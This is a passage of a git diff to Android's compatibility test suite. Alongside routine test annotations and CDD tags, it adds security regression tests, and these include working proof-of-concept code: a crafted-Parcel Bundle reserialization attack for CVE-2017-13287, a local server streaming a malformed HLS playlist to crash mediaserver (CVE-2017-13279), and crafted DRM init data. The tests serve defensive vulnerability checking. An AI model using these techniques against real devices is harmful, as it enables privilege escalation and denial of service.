public void testGetReaders() {
try {
waitForConnection();
@@ -197,6 +215,7 @@
}
/** Tests getATR API */
+ @Test
public void testATR() {
try {
waitForConnection();
@@ -228,6 +247,7 @@
}
/** Tests OpenBasicChannel API when aid is null */
+ @Test
public void testOpenBasicChannelNullAid() {
try {
waitForConnection();
@@ -253,6 +273,7 @@
}
/** Tests OpenBasicChannel API when aid is provided */
+ @Test
public void testOpenBasicChannelNonNullAid() {
try {
waitForConnection();
@@ -278,10 +299,12 @@
}
/** Tests Select API */
+ @Test
public void testSelectableAid() {
testSelectableAid(SELECTABLE_AID);
}
+ @Test
public void testLongSelectResponse() {
byte[] selectResponse = testSelectableAid(LONG_SELECT_RESPONSE_AID);
if (selectResponse == null) {
@@ -318,6 +341,7 @@
}
/** Tests if NoSuchElementException in Select */
+ @Test
public void testWrongAid() {
try {
waitForConnection();
@@ -330,7 +354,7 @@
}
}
- public void testNonSelectableAid(Reader reader, byte[] aid) {
+ private void testNonSelectableAid(Reader reader, byte[] aid) {
boolean exception = false;
Session session = null;
try {
@@ -350,6 +374,7 @@
}
/** Tests if Security Exception in Transmit */
+ @Test
public void testSecurityExceptionInTransmit() {
boolean exception = false;
Session session;
@@ -412,6 +437,7 @@
* Checks the return status and verifies the size of the
* response.
*/
+ @Test
public void testTransmitApdu() {
try {
waitForConnection();
@@ -446,6 +472,7 @@
* - the warning code is properly received by the application layer as SW answer
* - the verify that the application layer can fetch the additionnal data (when present)
*/
+ @Test
public void testStatusWordTransmit() {
try {
waitForConnection();
@@ -491,6 +518,7 @@
}
/** Test if the responses are segmented by the underlying implementation */
+ @Test
public void testSegmentedResponseTransmit() {
try {
waitForConnection();
@@ -514,6 +542,7 @@
}
/** Test the P2 value of the select command sent by the underlying implementation */
+ @Test
public void testP2Value() {
try {
waitForConnection();
diff --git a/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp b/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
index e64c1b4..e903ab7 100644
--- a/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
+++ b/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
@@ -263,18 +263,14 @@
* set up to overflow iov[OVERFLOW_BUF] on non-atomic redo in kernel
* function pipe_iov_copy_to_user
*/
- iovs[OVERFLOW_BUF - 1].iov_len = IOV_LEN*10;
- iovs[OVERFLOW_BUF].iov_base = bufs[OVERFLOW_BUF];
- iovs[OVERFLOW_BUF].iov_len = IOV_LEN;
-
- overflow_addr = mmap((void *) FIXED_ADDR, PAGE_SIZE, PROT_READ | PROT_WRITE,
- MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
-
- bufs[OVERFLOW_BUF] = overflow_addr;
+ bufs[OVERFLOW_BUF] = mmap((void*)(FIXED_ADDR), PAGE_SIZE, PROT_READ | PROT_WRITE,
+ MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
if (bufs[OVERFLOW_BUF] == MAP_FAILED) {
ALOGE("mmap fixed addr failed:%s", strerror(errno));
goto __close_pipe;
}
+ iovs[OVERFLOW_BUF].iov_base = bufs[OVERFLOW_BUF];
+ iovs[OVERFLOW_BUF].iov_len = IOV_LEN;
for (i = 0; i < BUFS; i++) {
if (i == OVERFLOW_BUF) {
diff --git a/tests/tests/security/res/raw/bug_33298089_avc.mp4 b/tests/tests/security/res/raw/bug_33298089_avc.mp4
new file mode 100644
index 0000000..e36f3ae
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_33298089_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_35472997.mp4 b/tests/tests/security/res/raw/bug_35472997.mp4
new file mode 100644
index 0000000..9cd0c67
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_35472997.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_36492741.mp4 b/tests/tests/security/res/raw/bug_36492741.mp4
new file mode 100644
index 0000000..830724d
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_36492741.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_36993291_avc.mp4 b/tests/tests/security/res/raw/bug_36993291_avc.mp4
new file mode 100644
index 0000000..2b5dbc1
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_36993291_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_69269702.mp4 b/tests/tests/security/res/raw/bug_69269702.mp4
new file mode 100644
index 0000000..ae11796
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_69269702.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
new file mode 100644
index 0000000..dc74708
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -0,0 +1,202 @@
+/*
+ * Copyright (C) 2018 The AndroCid Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.test.AndroidTestCase;
+
+import android.app.Activity;
+import android.os.BaseBundle;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.annotation.SuppressLint;
+
+import java.io.InputStream;
+import java.lang.reflect.Field;
+import java.util.Random;
+
+import android.security.cts.R;
+import android.platform.test.annotations.SecurityTest;
+
+public class AmbiguousBundlesTest extends AndroidTestCase {
+
+ @SecurityTest
+ public void test_android_CVE_2017_13287() throws Exception {
+ Bundle bundle;
+ {
+ Bundle verifyMe = new Bundle();
+ verifyMe.putString("cmd", "something_safe");
+ Bundle useMe = new Bundle();
+ useMe.putString("cmd", "replaced_thing");
+ Ambiguator a = new Ambiguator() {
+ @Override
+ public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+ Random random = new Random(1234);
+ int minHash = 0;
+ for (String s : preReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+ for (String s : postReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+
+ String key;
+ int keyHash;
+
+ do {
+ key = randomString(random);
+ keyHash = key.hashCode();
+ } while (keyHash >= minHash);
+
+ padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
+ padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
+
+ String key2;
+ int key2Hash;
+ do {
+ key2 = makeStringToInject(postReSerialize, random);
+ key2Hash = key2.hashCode();
+ } while (key2Hash >= minHash || key2Hash <= keyHash);
+
+
+ Parcel parcel = Parcel.obtain();
+
+ parcel.writeInt(preReSerialize.size() + 2);
+ parcel.writeString(key);
+
+ parcel.writeInt(VAL_PARCELABLE);
+ parcel.writeString("com.android.internal.widget.VerifyCredentialResponse");
+
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+
+ parcel.writeString(key2);
+ parcel.writeInt(VAL_NULL);
+
+ writeBundleSkippingHeaders(parcel, preReSerialize);
+
+ parcel.setDataPosition(0);
+ Bundle bundle = new Bundle();
+ parcelledDataField.set(bundle, parcel);
+ return bundle;
+ }
+
+ @Override
+ protected String makeStringToInject(Bundle stuffToInject, Random random) {
+ Parcel p = Parcel.obtain();
+ p.writeInt(0);
+ p.writeInt(0);
+
+ Parcel p2 = Parcel.obtain();
+ stuffToInject.writeToParcel(p2, 0);
+ int p2Len = p2.dataPosition() - BUNDLE_SKIP;
+
+ for (int i = 0; i < p2Len / 4 + 4; i++) {
+ int paddingVal;
+ if (i > 3) {
+ paddingVal = i;
+ } else {
+ paddingVal = random.nextInt();
+ }
+ p.writeInt(paddingVal);
+
+ }
+
+ p.appendFrom(p2, BUNDLE_SKIP, p2Len);
+ p2.recycle();
+
+ while (p.dataPosition() % 8 != 0) p.writeInt(0);
+ for (int i = 0; i < 2; i++) {
+ p.writeInt(0);
+ }
+
+ int len = p.dataPosition() / 2 - 1;
+ p.writeInt(0); p.writeInt(0);
+ p.setDataPosition(0);
+ p.writeInt(len);
+ p.writeInt(len);
+ p.setDataPosition(0);
+ String result = p.readString();
+ p.recycle();
+ return result;
+ }
+ };
+ bundle = a.make(verifyMe, useMe);
+ }
+
+ bundle = reparcel(bundle);
+ String value1 = bundle.getString("cmd");
+ bundle = reparcel(bundle);
+ String value2 = bundle.getString("cmd");
+
+ if (!value1.equals(value2)) {
+ fail("String " + value1 + "!=" + value2 + " after reparceling.");
+ }
+ }
+
+ @SuppressLint("ParcelClassLoader")
+ private Bundle reparcel(Bundle source) {
+ Parcel p = Parcel.obtain();
+ p.writeBundle(source);
+ p.setDataPosition(0);
+ Bundle copy = p.readBundle();
+ p.recycle();
+ return copy;
+ }
+
+ static abstract class Ambiguator {
+
+ protected static final int VAL_PARCELABLE = 4;
+ protected static final int VAL_NULL = -1;
+ protected static final int BUNDLE_SKIP = 12;
+
+ protected final Field parcelledDataField;
+
+ public Ambiguator() throws Exception {
+ parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
+ parcelledDataField.setAccessible(true);
+ }
+
+ abstract public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception;
+
+ abstract protected String makeStringToInject(Bundle stuffToInject, Random random);
+
+ protected static void writeBundleSkippingHeaders(Parcel parcel, Bundle bundle) {
+ Parcel p2 = Parcel.obtain();
+ bundle.writeToParcel(p2, 0);
+ parcel.appendFrom(p2, BUNDLE_SKIP, p2.dataPosition() - BUNDLE_SKIP);
+ p2.recycle();
+ }
+
+ protected static String randomString(Random random) {
+ StringBuilder b = new StringBuilder();
+ for (int i = 0; i < 6; i++) {
+ b.append((char)(' ' + random.nextInt('~' - ' ' + 1)));
+ }
+ return b.toString();
+ }
+
+ protected static void padBundle(Bundle bundle, int size, int minHash, Random random) {
+ while (bundle.size() < size) {
+ String key;
+ do {
+ key = randomString(random);
+ } while (key.hashCode() < minHash || bundle.containsKey(key));
+ bundle.putString(key, "PADDING");
+ }
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
index 8903aec..690f661 100644
--- a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
+++ b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
@@ -67,6 +67,10 @@
EXCEPTION_PATTERNS.add(":: 1020"); // used by remote control
//no current patterns involve address, port and UID combinations
//Example for when necessary: EXCEPTION_PATTERNS.add("0.0.0.0:5555 10000")
+
+ // IPv6 exceptions
+ // TODO: this is not standard notation for IPv6. Use [$addr]:$port instead as per RFC 3986.
+ EXCEPTION_PATTERNS.add(":::5555"); // emulator port for adb
}
/**
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 24cfdce..06333a8 100755
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -33,6 +33,8 @@
import android.media.MediaCodec;
import android.media.MediaCodecInfo;
import android.media.MediaCodecList;
+import android.media.MediaDrm;
+import android.media.MediaDrm.MediaDrmStateException;
import android.media.MediaExtractor;
import android.media.MediaFormat;
import android.media.MediaMetadataRetriever;
@@ -54,9 +56,13 @@
import java.net.URL;
import java.nio.ByteBuffer;
import java.io.FileOutputStream;
+import java.io.OutputStream;
+import java.net.Socket;
+import java.net.ServerSocket;
import java.io.File;
import java.util.ArrayList;
import java.util.HashMap;
+import java.util.UUID;
import java.util.concurrent.locks.Condition;
import java.util.concurrent.locks.ReentrantLock;
@@ -451,11 +457,22 @@
}
@SecurityTest
+ public void testBug_33298089() throws Exception {
+ int[] frameSizes = {3247, 430, 221, 2305};
+ doStagefrightTestRawBlob(R.raw.bug_33298089_avc, "video/avc", 32, 64, frameSizes);
+ }
+
+ @SecurityTest
public void testStagefright_cve_2017_0599() throws Exception {
doStagefrightTest(R.raw.cve_2017_0599);
}
@SecurityTest
+ public void testStagefright_bug_36492741() throws Exception {
+ doStagefrightTest(R.raw.bug_36492741);
+ }
+
+ @SecurityTest
public void testStagefright_bug_38487564() throws Exception {
doStagefrightTest(R.raw.bug_38487564, (4 * 60 * 1000));
}
@@ -497,6 +514,11 @@
}
@SecurityTest
+ public void testBug_36993291() throws Exception {
+ doStagefrightTestRawBlob(R.raw.bug_36993291_avc, "video/avc", 320, 240);
+ }
+
+ @SecurityTest
public void testStagefright_bug_33818508() throws Exception {
doStagefrightTest(R.raw.bug_33818508);
}
@@ -525,6 +547,11 @@
}
@SecurityTest
+ public void testStagefright_bug_69269702() throws Exception {
+ doStagefrightTest(R.raw.bug_69269702);
+ }
+
+ @SecurityTest
public void testStagefright_cve_2015_3867() throws Exception {
doStagefrightTest(R.raw.cve_2015_3867);
}
@@ -625,11 +652,49 @@
}
@SecurityTest
+ public void testStagefright_bug_37710346() throws Exception {
+ UUID CLEARKEY_SCHEME_UUID = new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
+
+ String drmInitString = "0000003470737368" +
+ "01000000" +
+ "1077efecc0b24d02" +
+ "ace33c1e52e2fb4b" +
+ "10000001" +
+ "60061e017e477e87" +
+ "7e57d00d1ed00d1e" +
+ "00000000";
+ int len = drmInitString.length();
+ byte[] drmInitData = new byte[len / 2];
+ for (int i = 0; i < len; i += 2) {
+ drmInitData[i / 2] = (byte) ((Character.digit(drmInitString.charAt(i), 16) << 4) +
+ Character.digit(drmInitString.charAt(i + 1), 16));
+ }
+
+ try {
+ MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
+ byte[] sessionId;
+ String initDataType = "video/mp4";
+
+ sessionId = drm.openSession();
+ MediaDrm.KeyRequest drmRequest = drm.getKeyRequest(sessionId, drmInitData,
+ initDataType, MediaDrm.KEY_TYPE_STREAMING, null);
+ } catch (Exception e) {
+ if (!(e instanceof MediaDrmStateException))
+ fail("media drm server died");
+ }
+ }
+
+ @SecurityTest
public void testStagefright_cve_2015_3873_b_23248776() throws Exception {
doStagefrightTest(R.raw.cve_2015_3873_b_23248776);
}
@SecurityTest
+ public void testStagefright_bug_35472997() throws Exception {
+ doStagefrightTest(R.raw.bug_35472997);
+ }
+
+ @SecurityTest
public void testStagefright_cve_2015_3873_b_20718524() throws Exception {
doStagefrightTest(R.raw.cve_2015_3873_b_20718524);
}
@@ -729,6 +794,86 @@
***********************************************************/
@SecurityTest
+ public void testStagefright_cve_2017_13279() throws Exception {
+ Thread server = new Thread() {
+ @Override
+ public void run(){
+ try (ServerSocket serverSocket = new ServerSocket(8080);
+ Socket conn = serverSocket.accept()){
+ OutputStream stream = conn.getOutputStream();
+ byte http[] = ("HTTP/1.0 200 OK\r\nContent-Type: application/x-mpegURL\r\n\r\n"
+ + "#EXTM3U\n#EXT-X-STREAM-INF:\n").getBytes();
+ stream.write(http);
+ while(!conn.isClosed())
+ stream.write(("a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\n").getBytes());
+ }
+ catch(IOException e){
+ }
+ }
+ };
+ server.start();
+ String uri = "http://127.0.0.1:8080/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+ + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/"
+ + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.m3u8";
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+
+ LooperThread t = new LooperThread(new Runnable() {
+ @Override
+ public void run() {
+
+ MediaPlayer mp = new MediaPlayer();
+ mp.setOnErrorListener(mpcl);
+ mp.setOnPreparedListener(mpcl);
+ mp.setOnCompletionListener(mpcl);
+ Surface surface = getDummySurface();
+ mp.setSurface(surface);
+ AssetFileDescriptor fd = null;
+ try {
+ mp.setDataSource(uri);
+ mp.prepareAsync();
+ } catch (IOException e) {
+ Log.e(TAG, e.toString());
+ } finally {
+ closeQuietly(fd);
+ }
+
+ Looper.loop();
+ mp.release();
+ }
+ });
+ t.start();
+ Thread.sleep(60000); // Poc takes a while to crash mediaserver, waitForError
+ // doesn't wait long enough
+ assertFalse("Device *IS* vulnerable to CVE-2017-13279",
+ mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+ t.stopLooper();
+ t.join(); // wait for thread to exit so we're sure the player was released
+ server.join();
+ }
+
+ @SecurityTest
public void testStagefright_cve_2017_13276() throws Exception {
doStagefrightTest(R.raw.cve_2017_13276);
}
@@ -769,7 +914,10 @@
Bitmap bitmap = BitmapFactory.decodeResource(
getInstrumentation().getContext().getResources(), R.raw.bug_73172046);
- bitmap.recycle();
+ // OK if the decoding failed, but shouldn't cause crashes
+ if (bitmap != null) {
+ bitmap.recycle();
+ }
}
@SecurityTest
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
index 56969bb..904f0cf 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
@@ -32,6 +32,8 @@
import android.net.Uri;
import android.test.suitebuilder.annotation.SmallTest;
+import com.android.compatibility.common.util.CddTest;
+
import junit.framework.AssertionFailedError;
/**
@@ -39,6 +41,7 @@
*
* In this test, we tests the main functionalities of those, without throttling.
*/
+@CddTest(requirement="3.8.1/C-4-1")
@SmallTest
public class ShortcutManagerClientApiTest extends ShortcutManagerCtsTestsBase {
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
index f27a60a..67d99fe 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
@@ -29,6 +29,8 @@
import android.graphics.drawable.Icon;
import android.test.suitebuilder.annotation.SmallTest;
+import com.android.compatibility.common.util.CddTest;
+
@SmallTest
public class ShortcutManagerLauncherApiTest extends ShortcutManagerCtsTestsBase {
@Override
@@ -350,7 +352,7 @@
assertIconDimensions(icon5, getIconAsLauncher(
mLauncherContext1, mPackageContext1.getPackageName(), "ms21", false));
}
-
+ @CddTest(requirement="3.8.1/C-1-2")
public void testGetShortcutIconAdaptive() throws Exception {
final Icon icon1 = Icon.createWithAdaptiveBitmap(BitmapFactory.decodeResource(
getTestContext().getResources(), R.drawable.black_16x64));
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherCallbackTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherCallbackTest.java
index 166c9ba..8467f9a 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherCallbackTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherCallbackTest.java
@@ -38,6 +38,9 @@
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.function.Predicate;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="3.8.1/C-2-3")
@SmallTest
public class ShortcutManagerLauncherCallbackTest extends ShortcutManagerCtsTestsBase {
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMaxCountTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMaxCountTest.java
index 8b7ae4e..8b18931 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMaxCountTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMaxCountTest.java
@@ -23,6 +23,9 @@
import android.test.suitebuilder.annotation.SmallTest;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="3.8.1/C-4-1")
@SmallTest
public class ShortcutManagerMaxCountTest extends ShortcutManagerCtsTestsBase {
/**
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMiscTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMiscTest.java
index 95defb8..46c8661 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMiscTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMiscTest.java
@@ -20,6 +20,9 @@
import android.content.pm.ShortcutManager;
import android.test.suitebuilder.annotation.SmallTest;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="3.8.1/C-4-1")
@SmallTest
public class ShortcutManagerMiscTest extends ShortcutManagerCtsTestsBase {
@Override
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMultiLauncherTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMultiLauncherTest.java
index 5ed5d52..5f49e1f 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMultiLauncherTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMultiLauncherTest.java
@@ -28,6 +28,9 @@
import android.test.suitebuilder.annotation.SmallTest;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="3.8.1/C-2-3")
@SmallTest
public class ShortcutManagerMultiLauncherTest extends ShortcutManagerCtsTestsBase {
/**
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerNegativeTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerNegativeTest.java
index bae8b0f..c4e492e 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerNegativeTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerNegativeTest.java
@@ -33,6 +33,9 @@
import java.lang.reflect.Method;
import java.util.ArrayList;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="3.8.1/C-4-1")
@SmallTest
public class ShortcutManagerNegativeTest extends ShortcutManagerCtsTestsBase {
private static final String TAG = "ShortcutNegativeCTS";
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
index c04c0af..d7b506a 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
@@ -33,15 +33,18 @@
import android.content.pm.cts.shortcutmanager.common.ReplyUtil;
import android.os.PersistableBundle;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
import java.util.HashMap;
import java.util.List;
+@CddTest(requirement="3.8.1/C-4-1")
public class ShortcutManagerRequestPinTest extends ShortcutManagerCtsTestsBase {
private static final String TAG = "ShortcutMRPT";
private static final String SHORTCUT_ID = "s12345";
+ @CddTest(requirement="[3.8.1/C-2-1],[3.8.1/C-3-1]")
public void testIsRequestPinShortcutSupported() {
// Launcher 1 supports it.
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java
index a66e8ed..cdb14d1 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java
@@ -30,6 +30,9 @@
import java.util.List;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="3.8.1/C-2-3")
@SmallTest
public class ShortcutManagerStartShortcutTest extends ShortcutManagerCtsTestsBase {
private ComponentName mLaunchedActivity;
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java
index 55afe48..7628c82 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java
@@ -33,11 +33,14 @@
import android.test.suitebuilder.annotation.Suppress;
import android.view.KeyEvent;
+import com.android.compatibility.common.util.CddTest;
+
/**
* The actual test is implemented in the CtsShortcutManagerThrottlingTest module.
* This class uses broadcast receivers to communicate with it, because if we just used an
* instrumentation test, the target process would never been throttled.
*/
+@CddTest(requirement="3.8.1/C-4-1")
@SmallTest
public class ShortcutManagerThrottlingTest extends ShortcutManagerCtsTestsBase {
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java
index 50ce615..a8afaaf 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java
@@ -27,6 +27,9 @@
import android.test.suitebuilder.annotation.SmallTest;
import android.text.format.Time;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="3.8.1/C-4-1")
@SmallTest
public class ShortcutManagerUsageTest extends ShortcutManagerCtsTestsBase {
private static final String APPOPS_SET_SHELL_COMMAND = "appops set {0} " +
diff --git a/tests/tests/slice/AndroidTest.xml b/tests/tests/slice/AndroidTest.xml
index ceae60a..34fdb6f 100644
--- a/tests/tests/slice/AndroidTest.xml
+++ b/tests/tests/slice/AndroidTest.xml
@@ -28,4 +28,8 @@
<option name="package" value="android.slice.cts" />
<option name="runtime-hint" value="1m" />
</test>
+
+ <!-- Controller that will skip the module if a native bridge situation is detected -->
+ <!-- For example: module wants to run arm32 and device is x86 -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.NativeBridgeModuleController" />
</configuration>
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index 7a1a826..32dd235 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -52,6 +52,12 @@
private static final int WAIT_TIME = 2000;
+ /**
+ * Color may be slightly off-spec when resources are resized for lower densities. Use this error
+ * margin to accommodate for that when comparing colors.
+ */
+ private static final int COLOR_COMPONENT_ERROR_MARGIN = 10;
+
private final String NOTIFICATION_TAG = "TEST_TAG";
private final String NOTIFICATION_CHANNEL_ID = "test_channel";
